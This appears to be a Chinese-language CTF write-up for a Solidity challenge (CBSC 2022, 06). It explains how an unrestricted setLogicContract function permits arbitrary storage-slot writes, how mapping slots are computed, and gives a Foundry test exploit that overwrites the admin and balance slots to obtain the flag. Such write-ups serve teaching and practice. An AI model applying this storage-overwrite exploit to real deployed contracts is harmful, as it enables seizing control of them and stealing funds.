06.challenge
2023-07-28 16:01:04 # 16.CBSC 2022

06.challenge

分析

之前做过一次一模一样的

题目要求成为admin和拥有9999999999999999999999999999999999的余额

1
2
3
4
5
function isComplete() public  {
require(admin == msg.sender);
require(gasDeposits[msg.sender] >= 9999999999999999999999999999999999);
emit SendFlag();
}

此方法可以修改任意slot的内容,题目的要求都是位于storage的,因此可以通过修改storage数据来完成题目

1
2
3
4
5
function setLogicContract(bytes32 key, address contractAddress) external {
StorageSlot.AddressSlot storage slot = StorageSlot.getAddressSlot(key);
emit SetLogicContract(key, slot.value, contractAddress);
slot.value = contractAddress;
}

需要懂得mapping计算和constant不占用slot

1
2
3
4
5
6
7
//mapping的value实际存储位置计算公式:keccak256(bytes32(key)+bytes32(slot))
function getStorageLocationForKey(address _key) public pure returns(bytes32) {
// _key : mapping 的 key
// 0 : 我们的balances这个mapping位于slot 0
// 如果部署slot 0,那么换成对应的slot 就ok了
return keccak256(abi.encode(_key, 0));
}

解题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.10;

import "forge-std/Test.sol";
import "../../src/06.challenge/Storage1.sol";

contract attackTest is Test {
Storage1 storage1;

function setUp() public{
storage1 = new Storage1();
}

function test_isComplete() public{
// 修改slot1的数据为我们的攻击合约地址,也就是修改admin
storage1.setLogicContract(bytes32(uint256(1)), address(this));
assertEq(storage1.admin(),address(this));
// 计算这个合约的余额存放的位置
bytes32 setGasDeposits = keccak256(abi.encode(address(this), 2));
// 修改余额
storage1.setLogicContract(setGasDeposits, address(9999999999999999999999999999999999));
storage1.isComplete();
}

}